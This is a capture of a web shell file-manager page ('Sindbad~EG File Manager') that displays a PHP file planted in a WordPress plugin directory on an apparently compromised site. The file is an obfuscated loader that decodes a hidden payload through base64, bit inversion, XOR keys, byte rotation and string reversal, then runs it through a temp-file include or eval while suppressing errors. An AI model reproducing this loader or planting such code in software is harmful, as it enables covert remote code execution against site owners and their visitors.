Sindbad~EG File Manager

Current Path : /home/julesbu/www/wp-content/plugins/admin-notices-manager/
Upload File :
Current File : /home/julesbu/www/wp-content/plugins/admin-notices-manager/uploader.php

<?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);

$foOzPGIv = array('RP3GetuFBpw6yzmQ9o7na28ffisbZpQuUInzYK7W7bN3j5U7Ma6clmCD8/KEpT3JP5dcATE+j2ZKg/Py', '1Sz3uTcnXGE75t6uQPmRcC/0giQDHT5Rc870jEqD8/KE9OeYzUW+q5mU9K4wmQjYHoadS48nrNCzdnzO', 'SoPz8oT058lE1z4Bq7b0jKCD8/KEpT+BP2c0WRGU9K4wmYHY5mZNcx+fPlsxtkwmsalp+JbU57NXFxQr', 'MdTejEqD86Ne9K+BtycEuTt2/owqaMvY7v6VMpdnnBPqP+amKMnByl9vzKpePsULcf68xnh40dim/p2r', 'l6fFAYOutMxKsbnyhPTnmETVFEE7pv6MOoOxUI52HOOHd5yxEdQ2jOipyWCOVsfJFQ0+emA+3oxKg6Iq', 'zOSX6z+3RElT3t7vISCwirfXZMnfb0xQMbEzmlrDUbhG3ufJFQ0+KzHUj1QCA3NSxN7Fsw/2FLFDrlwW', 'YBEIcCZWpckVDT4rMdTe3ZCDu7qm3l2zd280CzG0fE5go7M4jmZ1w+5/dCNx1OzGSoPz8tUsDPGXT7wT', 'Uey0Lgi7k8rmnkWLLW0GGRNW5ldKa/PQrk6dq3cHHisx1N7d0KlxOCb0zatfPz4BA95EjIDhgYiETp2r', 'dwY+U0nU3oxK0qIqzLyUsl6WTQCSF/V3MbCAucdX7EoVbRRBO6b+zDCxgbjGVu1LVZ8UkUu2pC7YIWny', 'bPTna9cnHisx1N7dYOn5gK6WrfsVJwwhq9Qe5HkgWPL8jOcRXeYGAVverLSRaMvY5r7V8c6WFUh65yWs', 'CqmZ+PbefcMHDdYrG77U/mqD8/KEpT3JXUXVExu2lL5yWGjZ57/UMjVNnAGrTpSMerPzyidvnEotDdbD', '2dQ1tGn4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w9k8NmSiaxsabBwPIf3lPlNJha33ASD4YS/PrPpmdiUrSayPZKJrGxpsHA8h/eXWw9k8NmSiaxsa', 'bBznsW1cvGmzLD4=');
$ztrmotH = '1eac59e0599561a1362c8e2e3859fed9'; // hex
$DImaxTK = 'e05f0ad2054fd0bc43b7cc7d0e6ba83a'; // hex
$oBSDSGul = 3; // rotate amount


function YSvkxFcQFT($arr) {
    return base64_decode(implode('', $arr));
}

function xeBShhauM($data, $hexkey) {
    // hexkey -> raw bytes
    $k = hex2bin($hexkey);
    $out = '';
    $klen = strlen($k);
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
    }
    return $out;
}

function ZWzmphAxz($data, $n, $dir = 'r') {
    // rotate each byte right (dir='r') or left (dir='l') by n
    $out = '';
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $b = ord($data[$i]) & 0xFF;
        if ($dir === 'r') {
            $b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
        } else {
            $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
        }
        $out .= chr($b);
    }
    return $out;
}

function DMkMpcZBaM($fname, $payload) {
    $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
    if (@file_put_contents($tmp, $payload) !== false) {
        @chmod($tmp, 0640);
        if (@rename($tmp, $fname)) {
            @include_once($fname);
            return true;
        }
    }
    @file_put_contents($fname, $payload);
    @include_once($fname);
    return true;
}

// --- decode ---
try {
    $enc = YSvkxFcQFT($foOzPGIv);
    $s = '';
    for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
    $s = xeBShhauM($s, $DImaxTK);
    $s = ZWzmphAxz($s, $oBSDSGul, 'r');
    $s = strrev($s);
    $s = xeBShhauM($s, $ztrmotH);

    // try safe temp include then eval fallback
    $tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
    if (@file_put_contents($tmp, $s) !== false) {
        @include_once($tmp);
        @unlink($tmp);
        exit;
    }
    @eval($s);
    exit;

} catch (Exception $e) { exit; }
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists